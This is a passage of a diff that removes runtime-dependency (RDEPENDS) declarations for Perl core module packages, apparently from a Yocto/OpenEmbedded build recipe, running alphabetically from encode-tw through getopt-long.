-RDEPENDS_perl-module-encode-tw += "perl-module-encode"
-RDEPENDS_perl-module-encode-tw += "perl-module-strict"
-RDEPENDS_perl-module-encode-tw += "perl-module-warnings"
-RDEPENDS_perl-module-encode-tw += "perl-module-xsloader"
-RDEPENDS_perl-module-encode-unicode += "perl-module-encode"
-RDEPENDS_perl-module-encode-unicode += "perl-module-parent"
-RDEPENDS_perl-module-encode-unicode += "perl-module-strict"
-RDEPENDS_perl-module-encode-unicode += "perl-module-warnings"
-RDEPENDS_perl-module-encode-unicode += "perl-module-xsloader"
-RDEPENDS_perl-module-encode-unicode-utf7 += "perl-module-encode"
-RDEPENDS_perl-module-encode-unicode-utf7 += "perl-module-mime-base64"
-RDEPENDS_perl-module-encode-unicode-utf7 += "perl-module-parent"
-RDEPENDS_perl-module-encode-unicode-utf7 += "perl-module-re"
-RDEPENDS_perl-module-encode-unicode-utf7 += "perl-module-strict"
-RDEPENDS_perl-module-encode-unicode-utf7 += "perl-module-warnings"
-RDEPENDS_perl-module-encoding += "perl-module-config"
-RDEPENDS_perl-module-encoding += "perl-module-constant"
-RDEPENDS_perl-module-encoding += "perl-module-encode"
-RDEPENDS_perl-module-encoding += "perl-module-filter-util-call"
-RDEPENDS_perl-module-encoding += "perl-module-i18n-langinfo"
-RDEPENDS_perl-module-encoding += "perl-module-posix"
-RDEPENDS_perl-module-encoding += "perl-module-strict"
-RDEPENDS_perl-module-encoding += "perl-module-utf8"
-RDEPENDS_perl-module-encoding += "perl-module-warnings"
-RDEPENDS_perl-module-encoding-warnings += "perl-module-strict"
-RDEPENDS_perl-module-encoding-warnings += "perl-module-warnings"
-RDEPENDS_perl-module-english += "perl-module-exporter"
-RDEPENDS_perl-module-env += "perl-module-config"
-RDEPENDS_perl-module-env += "perl-module-tie-array"
-RDEPENDS_perl-module-errno += "perl-module-exporter"
-RDEPENDS_perl-module-errno += "perl-module-strict"
-RDEPENDS_perl-module-experimental += "perl-module-strict"
-RDEPENDS_perl-module-experimental += "perl-module-version"
-RDEPENDS_perl-module-experimental += "perl-module-warnings"
-RDEPENDS_perl-module-exporter-heavy += "perl-module-exporter"
-RDEPENDS_perl-module-exporter-heavy += "perl-module-strict"
-RDEPENDS_perl-module-exporter += "perl-module-exporter-heavy"
-RDEPENDS_perl-module-extutils-cbuilder-base += "perl-module-config"
-RDEPENDS_perl-module-extutils-cbuilder-base += "perl-module-cwd"
-RDEPENDS_perl-module-extutils-cbuilder-base += "perl-module-dynaloader"
-RDEPENDS_perl-module-extutils-cbuilder-base += "perl-module-extutils-mksymlists"
-RDEPENDS_perl-module-extutils-cbuilder-base += "perl-module-file-basename"
-RDEPENDS_perl-module-extutils-cbuilder-base += "perl-module-file-temp"
-RDEPENDS_perl-module-extutils-cbuilder-base += "perl-module-ipc-cmd"
-RDEPENDS_perl-module-extutils-cbuilder-base += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder-base += "perl-module-text-parsewords"
-RDEPENDS_perl-module-extutils-cbuilder-base += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-cbuilder += "perl-module-file-basename"
-RDEPENDS_perl-module-extutils-cbuilder += "perl-module-file-path"
-RDEPENDS_perl-module-extutils-cbuilder += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-cbuilder-platform-aix += "perl-module-extutils-cbuilder-platform-unix"
-RDEPENDS_perl-module-extutils-cbuilder-platform-aix += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder-platform-aix += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-cbuilder-platform-android += "perl-module-config"
-RDEPENDS_perl-module-extutils-cbuilder-platform-android += "perl-module-extutils-cbuilder-platform-unix"
-RDEPENDS_perl-module-extutils-cbuilder-platform-android += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder-platform-android += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-cbuilder-platform-cygwin += "perl-module-extutils-cbuilder-platform-unix"
-RDEPENDS_perl-module-extutils-cbuilder-platform-cygwin += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder-platform-cygwin += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-cbuilder-platform-darwin += "perl-module-extutils-cbuilder-platform-unix"
-RDEPENDS_perl-module-extutils-cbuilder-platform-darwin += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder-platform-darwin += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-cbuilder-platform-dec-osf += "perl-module-extutils-cbuilder-platform-unix"
-RDEPENDS_perl-module-extutils-cbuilder-platform-dec-osf += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder-platform-dec-osf += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-cbuilder-platform-os2 += "perl-module-extutils-cbuilder-platform-unix"
-RDEPENDS_perl-module-extutils-cbuilder-platform-os2 += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder-platform-os2 += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-cbuilder-platform-unix += "perl-module-extutils-cbuilder-base"
-RDEPENDS_perl-module-extutils-cbuilder-platform-unix += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder-platform-unix += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-cbuilder-platform-vms += "perl-module-config"
-RDEPENDS_perl-module-extutils-cbuilder-platform-vms += "perl-module-extutils-cbuilder-base"
-RDEPENDS_perl-module-extutils-cbuilder-platform-vms += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder-platform-vms += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-cbuilder-platform-windows-bcc += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder-platform-windows-bcc += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-cbuilder-platform-windows-gcc += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder-platform-windows-gcc += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-cbuilder-platform-windows-msvc += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder-platform-windows-msvc += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-cbuilder-platform-windows += "perl-module-extutils-cbuilder-base"
-RDEPENDS_perl-module-extutils-cbuilder-platform-windows += "perl-module-file-basename"
-RDEPENDS_perl-module-extutils-cbuilder-platform-windows += "perl-module-io-file"
-RDEPENDS_perl-module-extutils-cbuilder-platform-windows += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder-platform-windows += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-command-mm += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-command-mm += "perl-module-extutils-command"
-RDEPENDS_perl-module-extutils-command-mm += "perl-module-extutils-install"
-RDEPENDS_perl-module-extutils-command-mm += "perl-module-getopt-long"
-RDEPENDS_perl-module-extutils-command-mm += "perl-module-strict"
-RDEPENDS_perl-module-extutils-command-mm += "perl-module-test-harness"
-RDEPENDS_perl-module-extutils-command-mm += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-command += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-command += "perl-module-file-copy"
-RDEPENDS_perl-module-extutils-command += "perl-module-file-find"
-RDEPENDS_perl-module-extutils-command += "perl-module-file-path"
-RDEPENDS_perl-module-extutils-command += "perl-module-strict"
-RDEPENDS_perl-module-extutils-command += "perl-module-vars"
-RDEPENDS_perl-module-extutils-constant-base += "perl-module-constant"
-RDEPENDS_perl-module-extutils-constant-base += "perl-module-extutils-constant-utils"
-RDEPENDS_perl-module-extutils-constant-base += "perl-module-strict"
-RDEPENDS_perl-module-extutils-constant-base += "perl-module-text-wrap"
-RDEPENDS_perl-module-extutils-constant-base += "perl-module-vars"
-RDEPENDS_perl-module-extutils-constant += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-constant += "perl-module-extutils-constant-proxysubs"
-RDEPENDS_perl-module-extutils-constant += "perl-module-extutils-constant-utils"
-RDEPENDS_perl-module-extutils-constant += "perl-module-extutils-constant-xs"
-RDEPENDS_perl-module-extutils-constant += "perl-module-filehandle"
-RDEPENDS_perl-module-extutils-constant += "perl-module-strict"
-RDEPENDS_perl-module-extutils-constant += "perl-module-vars"
-RDEPENDS_perl-module-extutils-constant-proxysubs += "perl-module-extutils-constant-utils"
-RDEPENDS_perl-module-extutils-constant-proxysubs += "perl-module-extutils-constant-xs"
-RDEPENDS_perl-module-extutils-constant-proxysubs += "perl-module-strict"
-RDEPENDS_perl-module-extutils-constant-proxysubs += "perl-module-vars"
-RDEPENDS_perl-module-extutils-constant-utils += "perl-module-constant"
-RDEPENDS_perl-module-extutils-constant-utils += "perl-module-posix"
-RDEPENDS_perl-module-extutils-constant-utils += "perl-module-strict"
-RDEPENDS_perl-module-extutils-constant-utils += "perl-module-vars"
-RDEPENDS_perl-module-extutils-constant-xs += "perl-module-data-dumper"
-RDEPENDS_perl-module-extutils-constant-xs += "perl-module-extutils-constant"
-RDEPENDS_perl-module-extutils-constant-xs += "perl-module-extutils-constant-base"
-RDEPENDS_perl-module-extutils-constant-xs += "perl-module-extutils-constant-utils"
-RDEPENDS_perl-module-extutils-constant-xs += "perl-module-strict"
-RDEPENDS_perl-module-extutils-constant-xs += "perl-module-vars"
-RDEPENDS_perl-module-extutils-embed += "perl-module-config"
-RDEPENDS_perl-module-extutils-embed += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-embed += "perl-module-extutils-liblist"
-RDEPENDS_perl-module-extutils-embed += "perl-module-extutils-makemaker"
-RDEPENDS_perl-module-extutils-embed += "perl-module-getopt-std"
-RDEPENDS_perl-module-extutils-embed += "perl-module-strict"
-RDEPENDS_perl-module-extutils-installed += "perl-module-config"
-RDEPENDS_perl-module-extutils-installed += "perl-module-data-dumper"
-RDEPENDS_perl-module-extutils-installed += "perl-module-extutils-makemaker"
-RDEPENDS_perl-module-extutils-installed += "perl-module-extutils-packlist"
-RDEPENDS_perl-module-extutils-installed += "perl-module-file-basename"
-RDEPENDS_perl-module-extutils-installed += "perl-module-file-find"
-RDEPENDS_perl-module-extutils-installed += "perl-module-strict"
-RDEPENDS_perl-module-extutils-installed += "perl-module-vars"
-RDEPENDS_perl-module-extutils-install += "perl-module-autosplit"
-RDEPENDS_perl-module-extutils-install += "perl-module-config"
-RDEPENDS_perl-module-extutils-install += "perl-module-cwd"
-RDEPENDS_perl-module-extutils-install += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-install += "perl-module-extutils-packlist"
-RDEPENDS_perl-module-extutils-install += "perl-module-file-basename"
-RDEPENDS_perl-module-extutils-install += "perl-module-file-compare"
-RDEPENDS_perl-module-extutils-install += "perl-module-file-copy"
-RDEPENDS_perl-module-extutils-install += "perl-module-file-find"
-RDEPENDS_perl-module-extutils-install += "perl-module-file-path"
-RDEPENDS_perl-module-extutils-install += "perl-module-strict"
-RDEPENDS_perl-module-extutils-liblist-kid += "perl-module-cwd"
-RDEPENDS_perl-module-extutils-liblist-kid += "perl-module-extutils-makemaker-config"
-RDEPENDS_perl-module-extutils-liblist-kid += "perl-module-file-basename"
-RDEPENDS_perl-module-extutils-liblist-kid += "perl-module-strict"
-RDEPENDS_perl-module-extutils-liblist-kid += "perl-module-text-parsewords"
-RDEPENDS_perl-module-extutils-liblist-kid += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-liblist += "perl-module-extutils-liblist-kid"
-RDEPENDS_perl-module-extutils-liblist += "perl-module-strict"
-RDEPENDS_perl-module-extutils-makemaker-config += "perl-module-config"
-RDEPENDS_perl-module-extutils-makemaker-config += "perl-module-strict"
-RDEPENDS_perl-module-extutils-makemaker-locale += "perl-module-base"
-RDEPENDS_perl-module-extutils-makemaker-locale += "perl-module-encode"
-RDEPENDS_perl-module-extutils-makemaker-locale += "perl-module-encode-alias"
-RDEPENDS_perl-module-extutils-makemaker-locale += "perl-module-i18n-langinfo"
-RDEPENDS_perl-module-extutils-makemaker-locale += "perl-module-strict"
-RDEPENDS_perl-module-extutils-makemaker += "perl-module-b"
-RDEPENDS_perl-module-extutils-makemaker += "perl-module-cpan"
-RDEPENDS_perl-module-extutils-makemaker += "perl-module-cwd"
-RDEPENDS_perl-module-extutils-makemaker += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-makemaker += "perl-module-extutils-makemaker-config"
-RDEPENDS_perl-module-extutils-makemaker += "perl-module-extutils-makemaker-version"
-RDEPENDS_perl-module-extutils-makemaker += "perl-module-extutils-manifest"
-RDEPENDS_perl-module-extutils-makemaker += "perl-module-extutils-mm"
-RDEPENDS_perl-module-extutils-makemaker += "perl-module-extutils-mm-unix"
-RDEPENDS_perl-module-extutils-makemaker += "perl-module-extutils-my"
-RDEPENDS_perl-module-extutils-makemaker += "perl-module-file-path"
-RDEPENDS_perl-module-extutils-makemaker += "perl-module-strict"
-RDEPENDS_perl-module-extutils-makemaker += "perl-module-version"
-RDEPENDS_perl-module-extutils-makemaker-version += "perl-module-strict"
-RDEPENDS_perl-module-extutils-makemaker-version += "perl-module-vars"
-RDEPENDS_perl-module-extutils-manifest += "perl-module-config"
-RDEPENDS_perl-module-extutils-manifest += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-manifest += "perl-module-file-basename"
-RDEPENDS_perl-module-extutils-manifest += "perl-module-file-copy"
-RDEPENDS_perl-module-extutils-manifest += "perl-module-file-find"
-RDEPENDS_perl-module-extutils-manifest += "perl-module-file-path"
-RDEPENDS_perl-module-extutils-manifest += "perl-module-strict"
-RDEPENDS_perl-module-extutils-manifest += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-miniperl += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-miniperl += "perl-module-extutils-embed"
-RDEPENDS_perl-module-extutils-miniperl += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mkbootstrap += "perl-module-config"
-RDEPENDS_perl-module-extutils-mkbootstrap += "perl-module-dynaloader"
-RDEPENDS_perl-module-extutils-mkbootstrap += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-mkbootstrap += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mksymlists += "perl-module-config"
-RDEPENDS_perl-module-extutils-mksymlists += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-mksymlists += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-aix += "perl-module-extutils-makemaker-config"
-RDEPENDS_perl-module-extutils-mm-aix += "perl-module-extutils-mm-unix"
-RDEPENDS_perl-module-extutils-mm-aix += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-any += "perl-module-autosplit"
-RDEPENDS_perl-module-extutils-mm-any += "perl-module-cpan"
-RDEPENDS_perl-module-extutils-mm-any += "perl-module-data-dumper"
-RDEPENDS_perl-module-extutils-mm-any += "perl-module-extutils-makemaker"
-RDEPENDS_perl-module-extutils-mm-any += "perl-module-extutils-makemaker-config"
-RDEPENDS_perl-module-extutils-mm-any += "perl-module-file-basename"
-RDEPENDS_perl-module-extutils-mm-any += "perl-module-file-find"
-RDEPENDS_perl-module-extutils-mm-any += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-any += "perl-module-version"
-RDEPENDS_perl-module-extutils-mm-beos += "perl-module-extutils-makemaker-config"
-RDEPENDS_perl-module-extutils-mm-beos += "perl-module-extutils-mm-any"
-RDEPENDS_perl-module-extutils-mm-beos += "perl-module-extutils-mm-unix"
-RDEPENDS_perl-module-extutils-mm-beos += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-cygwin += "perl-module-extutils-makemaker-config"
-RDEPENDS_perl-module-extutils-mm-cygwin += "perl-module-extutils-mm-unix"
-RDEPENDS_perl-module-extutils-mm-cygwin += "perl-module-extutils-mm-win32"
-RDEPENDS_perl-module-extutils-mm-cygwin += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-darwin += "perl-module-extutils-mm-unix"
-RDEPENDS_perl-module-extutils-mm-darwin += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-dos += "perl-module-extutils-mm-any"
-RDEPENDS_perl-module-extutils-mm-dos += "perl-module-extutils-mm-unix"
-RDEPENDS_perl-module-extutils-mm-dos += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-macos += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-nw5 += "perl-module-extutils-makemaker"
-RDEPENDS_perl-module-extutils-mm-nw5 += "perl-module-extutils-makemaker-config"
-RDEPENDS_perl-module-extutils-mm-nw5 += "perl-module-extutils-mm-win32"
-RDEPENDS_perl-module-extutils-mm-nw5 += "perl-module-file-basename"
-RDEPENDS_perl-module-extutils-mm-nw5 += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-os2 += "perl-module-extutils-makemaker"
-RDEPENDS_perl-module-extutils-mm-os2 += "perl-module-extutils-mm-any"
-RDEPENDS_perl-module-extutils-mm-os2 += "perl-module-extutils-mm-unix"
-RDEPENDS_perl-module-extutils-mm-os2 += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm += "perl-module-extutils-liblist"
-RDEPENDS_perl-module-extutils-mm += "perl-module-extutils-makemaker"
-RDEPENDS_perl-module-extutils-mm += "perl-module-extutils-makemaker-config"
-RDEPENDS_perl-module-extutils-mm += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-qnx += "perl-module-extutils-mm-unix"
-RDEPENDS_perl-module-extutils-mm-qnx += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-unix += "perl-module-cwd"
-RDEPENDS_perl-module-extutils-mm-unix += "perl-module-encode"
-RDEPENDS_perl-module-extutils-mm-unix += "perl-module-extutils-liblist"
-RDEPENDS_perl-module-extutils-mm-unix += "perl-module-extutils-makemaker"
-RDEPENDS_perl-module-extutils-mm-unix += "perl-module-extutils-makemaker-config"
-RDEPENDS_perl-module-extutils-mm-unix += "perl-module-extutils-mm-any"
-RDEPENDS_perl-module-extutils-mm-unix += "perl-module-file-basename"
-RDEPENDS_perl-module-extutils-mm-unix += "perl-module-file-find"
-RDEPENDS_perl-module-extutils-mm-unix += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-unix += "perl-module-vars"
-RDEPENDS_perl-module-extutils-mm-unix += "perl-module-version"
-RDEPENDS_perl-module-extutils-mm-uwin += "perl-module-extutils-mm-unix"
-RDEPENDS_perl-module-extutils-mm-uwin += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-vms += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-mm-vms += "perl-module-extutils-liblist-kid"
-RDEPENDS_perl-module-extutils-mm-vms += "perl-module-extutils-makemaker"
-RDEPENDS_perl-module-extutils-mm-vms += "perl-module-extutils-makemaker-config"
-RDEPENDS_perl-module-extutils-mm-vms += "perl-module-extutils-mm-any"
-RDEPENDS_perl-module-extutils-mm-vms += "perl-module-extutils-mm-unix"
-RDEPENDS_perl-module-extutils-mm-vms += "perl-module-file-basename"
-RDEPENDS_perl-module-extutils-mm-vms += "perl-module-file-find"
-RDEPENDS_perl-module-extutils-mm-vms += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-vos += "perl-module-extutils-mm-unix"
-RDEPENDS_perl-module-extutils-mm-vos += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-win32 += "perl-module-extutils-makemaker"
-RDEPENDS_perl-module-extutils-mm-win32 += "perl-module-extutils-makemaker-config"
-RDEPENDS_perl-module-extutils-mm-win32 += "perl-module-extutils-mm-any"
-RDEPENDS_perl-module-extutils-mm-win32 += "perl-module-extutils-mm-unix"
-RDEPENDS_perl-module-extutils-mm-win32 += "perl-module-file-basename"
-RDEPENDS_perl-module-extutils-mm-win32 += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-win95 += "perl-module-extutils-makemaker-config"
-RDEPENDS_perl-module-extutils-mm-win95 += "perl-module-extutils-mm-win32"
-RDEPENDS_perl-module-extutils-mm-win95 += "perl-module-strict"
-RDEPENDS_perl-module-extutils-my += "perl-module-extutils-mm"
-RDEPENDS_perl-module-extutils-my += "perl-module-strict"
-RDEPENDS_perl-module-extutils-packlist += "perl-module-config"
-RDEPENDS_perl-module-extutils-packlist += "perl-module-cwd"
-RDEPENDS_perl-module-extutils-packlist += "perl-module-strict"
-RDEPENDS_perl-module-extutils-packlist += "perl-module-vars"
-RDEPENDS_perl-module-extutils-parsexs-constants += "perl-module-strict"
-RDEPENDS_perl-module-extutils-parsexs-constants += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-parsexs-countlines += "perl-module-strict"
-RDEPENDS_perl-module-extutils-parsexs-eval += "perl-module-strict"
-RDEPENDS_perl-module-extutils-parsexs-eval += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-parsexs += "perl-module-config"
-RDEPENDS_perl-module-extutils-parsexs += "perl-module-cwd"
-RDEPENDS_perl-module-extutils-parsexs += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-parsexs += "perl-module-extutils-parsexs-constants"
-RDEPENDS_perl-module-extutils-parsexs += "perl-module-extutils-parsexs-countlines"
-RDEPENDS_perl-module-extutils-parsexs += "perl-module-extutils-parsexs-eval"
-RDEPENDS_perl-module-extutils-parsexs += "perl-module-extutils-parsexs-utilities"
-RDEPENDS_perl-module-extutils-parsexs += "perl-module-file-basename"
-RDEPENDS_perl-module-extutils-parsexs += "perl-module-re"
-RDEPENDS_perl-module-extutils-parsexs += "perl-module-strict"
-RDEPENDS_perl-module-extutils-parsexs-utilities += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-parsexs-utilities += "perl-module-extutils-parsexs-constants"
-RDEPENDS_perl-module-extutils-parsexs-utilities += "perl-module-extutils-typemaps"
-RDEPENDS_perl-module-extutils-parsexs-utilities += "perl-module-strict"
-RDEPENDS_perl-module-extutils-parsexs-utilities += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-testlib += "perl-module-cwd"
-RDEPENDS_perl-module-extutils-testlib += "perl-module-lib"
-RDEPENDS_perl-module-extutils-testlib += "perl-module-strict"
-RDEPENDS_perl-module-extutils-testlib += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-typemaps-cmd += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-typemaps-cmd += "perl-module-extutils-typemaps"
-RDEPENDS_perl-module-extutils-typemaps-cmd += "perl-module-strict"
-RDEPENDS_perl-module-extutils-typemaps-cmd += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-typemaps-inputmap += "perl-module-strict"
-RDEPENDS_perl-module-extutils-typemaps-inputmap += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-typemaps-outputmap += "perl-module-re"
-RDEPENDS_perl-module-extutils-typemaps-outputmap += "perl-module-strict"
-RDEPENDS_perl-module-extutils-typemaps-outputmap += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-typemaps += "perl-module-extutils-parsexs"
-RDEPENDS_perl-module-extutils-typemaps += "perl-module-extutils-parsexs-constants"
-RDEPENDS_perl-module-extutils-typemaps += "perl-module-extutils-typemaps-inputmap"
-RDEPENDS_perl-module-extutils-typemaps += "perl-module-extutils-typemaps-outputmap"
-RDEPENDS_perl-module-extutils-typemaps += "perl-module-extutils-typemaps-type"
-RDEPENDS_perl-module-extutils-typemaps += "perl-module-strict"
-RDEPENDS_perl-module-extutils-typemaps += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-typemaps-type += "perl-module-extutils-typemaps"
-RDEPENDS_perl-module-extutils-typemaps-type += "perl-module-strict"
-RDEPENDS_perl-module-extutils-typemaps-type += "perl-module-warnings"
-RDEPENDS_perl-module-fatal += "perl-module-autodie"
-RDEPENDS_perl-module-fatal += "perl-module-autodie-exception-system"
-RDEPENDS_perl-module-fatal += "perl-module-autodie-hints"
-RDEPENDS_perl-module-fatal += "perl-module-autodie-util"
-RDEPENDS_perl-module-fatal += "perl-module-config"
-RDEPENDS_perl-module-fatal += "perl-module-constant"
-RDEPENDS_perl-module-fatal += "perl-module-fcntl"
-RDEPENDS_perl-module-fatal += "perl-module-posix"
-RDEPENDS_perl-module-fatal += "perl-module-strict"
-RDEPENDS_perl-module-fatal += "perl-module-tie-refhash"
-RDEPENDS_perl-module-fatal += "perl-module-warnings"
-RDEPENDS_perl-module-fcntl += "perl-module-exporter"
-RDEPENDS_perl-module-fcntl += "perl-module-strict"
-RDEPENDS_perl-module-fcntl += "perl-module-xsloader"
-RDEPENDS_perl-module-fields += "perl-module-base"
-RDEPENDS_perl-module-fields += "perl-module-hash-util"
-RDEPENDS_perl-module-fields += "perl-module-strict"
-RDEPENDS_perl-module-file-basename += "perl-module-exporter"
-RDEPENDS_perl-module-file-basename += "perl-module-re"
-RDEPENDS_perl-module-file-basename += "perl-module-strict"
-RDEPENDS_perl-module-file-basename += "perl-module-warnings"
-RDEPENDS_perl-module-filecache += "perl-module-parent"
-RDEPENDS_perl-module-filecache += "perl-module-strict"
-RDEPENDS_perl-module-file-compare += "perl-module-exporter"
-RDEPENDS_perl-module-file-compare += "perl-module-strict"
-RDEPENDS_perl-module-file-compare += "perl-module-warnings"
-RDEPENDS_perl-module-file-copy += "perl-module-config"
-RDEPENDS_perl-module-file-copy += "perl-module-exporter"
-RDEPENDS_perl-module-file-copy += "perl-module-file-basename"
-RDEPENDS_perl-module-file-copy += "perl-module-strict"
-RDEPENDS_perl-module-file-copy += "perl-module-warnings"
-RDEPENDS_perl-module-file-dosglob += "perl-module-strict"
-RDEPENDS_perl-module-file-dosglob += "perl-module-text-parsewords"
-RDEPENDS_perl-module-file-dosglob += "perl-module-warnings"
-RDEPENDS_perl-module-file-dosglob += "perl-module-xsloader"
-RDEPENDS_perl-module-file-fetch += "perl-module-constant"
-RDEPENDS_perl-module-file-fetch += "perl-module-cwd"
-RDEPENDS_perl-module-file-fetch += "perl-module-file-basename"
-RDEPENDS_perl-module-file-fetch += "perl-module-file-copy"
-RDEPENDS_perl-module-file-fetch += "perl-module-filehandle"
-RDEPENDS_perl-module-file-fetch += "perl-module-file-path"
-RDEPENDS_perl-module-file-fetch += "perl-module-file-temp"
-RDEPENDS_perl-module-file-fetch += "perl-module-ipc-cmd"
-RDEPENDS_perl-module-file-fetch += "perl-module-locale-maketext-simple"
-RDEPENDS_perl-module-file-fetch += "perl-module-load"
-RDEPENDS_perl-module-file-fetch += "perl-module-params-check"
-RDEPENDS_perl-module-file-fetch += "perl-module-strict"
-RDEPENDS_perl-module-file-fetch += "perl-module-vars"
-RDEPENDS_perl-module-file-find += "perl-module-config"
-RDEPENDS_perl-module-file-find += "perl-module-cwd"
-RDEPENDS_perl-module-file-find += "perl-module-exporter"
-RDEPENDS_perl-module-file-find += "perl-module-file-basename"
-RDEPENDS_perl-module-file-find += "perl-module-strict"
-RDEPENDS_perl-module-file-find += "perl-module-warnings"
-RDEPENDS_perl-module-file-find += "perl-module-warnings-register"
-RDEPENDS_perl-module-file-globmapper += "perl-module-file-glob"
-RDEPENDS_perl-module-file-globmapper += "perl-module-strict"
-RDEPENDS_perl-module-file-globmapper += "perl-module-warnings"
-RDEPENDS_perl-module-file-glob += "perl-module-exporter"
-RDEPENDS_perl-module-file-glob += "perl-module-strict"
-RDEPENDS_perl-module-file-glob += "perl-module-warnings"
-RDEPENDS_perl-module-file-glob += "perl-module-xsloader"
-RDEPENDS_perl-module-filehandle += "perl-module-exporter"
-RDEPENDS_perl-module-filehandle += "perl-module-fcntl"
-RDEPENDS_perl-module-filehandle += "perl-module-io-file"
-RDEPENDS_perl-module-filehandle += "perl-module-strict"
-RDEPENDS_perl-module-file-path += "perl-module-cwd"
-RDEPENDS_perl-module-file-path += "perl-module-exporter"
-RDEPENDS_perl-module-file-path += "perl-module-file-basename"
-RDEPENDS_perl-module-file-path += "perl-module-strict"
-RDEPENDS_perl-module-file-path += "perl-module-vars"
-RDEPENDS_perl-module-file-stat += "perl-module-class-struct"
-RDEPENDS_perl-module-file-stat += "perl-module-constant"
-RDEPENDS_perl-module-file-stat += "perl-module-exporter"
-RDEPENDS_perl-module-file-stat += "perl-module-fcntl"
-RDEPENDS_perl-module-file-stat += "perl-module-overload "
-RDEPENDS_perl-module-file-stat += "perl-module-strict"
-RDEPENDS_perl-module-file-stat += "perl-module-warnings"
-RDEPENDS_perl-module-file-stat += "perl-module-warnings-register"
-RDEPENDS_perl-module-file-temp += "perl-module-constant"
-RDEPENDS_perl-module-file-temp += "perl-module-cwd"
-RDEPENDS_perl-module-file-temp += "perl-module-errno"
-RDEPENDS_perl-module-file-temp += "perl-module-exporter"
-RDEPENDS_perl-module-file-temp += "perl-module-fcntl"
-RDEPENDS_perl-module-file-temp += "perl-module-file-path"
-RDEPENDS_perl-module-file-temp += "perl-module-io-seekable"
-RDEPENDS_perl-module-file-temp += "perl-module-overload"
-RDEPENDS_perl-module-file-temp += "perl-module-parent"
-RDEPENDS_perl-module-file-temp += "perl-module-posix"
-RDEPENDS_perl-module-file-temp += "perl-module-file-spec"
-RDEPENDS_perl-module-file-temp += "perl-module-strict"
-RDEPENDS_perl-module-file-temp += "perl-module-vars"
-RDEPENDS_perl-module-filter-simple += "perl-module-filter-util-call"
-RDEPENDS_perl-module-filter-simple += "perl-module-text-balanced"
-RDEPENDS_perl-module-filter-util-call += "perl-module-exporter"
-RDEPENDS_perl-module-filter-util-call += "perl-module-strict"
-RDEPENDS_perl-module-filter-util-call += "perl-module-warnings"
-RDEPENDS_perl-module-filter-util-call += "perl-module-xsloader"
-RDEPENDS_perl-module-findbin += "perl-module-cwd"
-RDEPENDS_perl-module-findbin += "perl-module-exporter"
-RDEPENDS_perl-module-findbin += "perl-module-file-basename"
-RDEPENDS_perl-module-getopt-long += "perl-module-constant"
-RDEPENDS_perl-module-getopt-long += "perl-module-exporter"
-RDEPENDS_perl-module-getopt-long += "perl-module-overload"
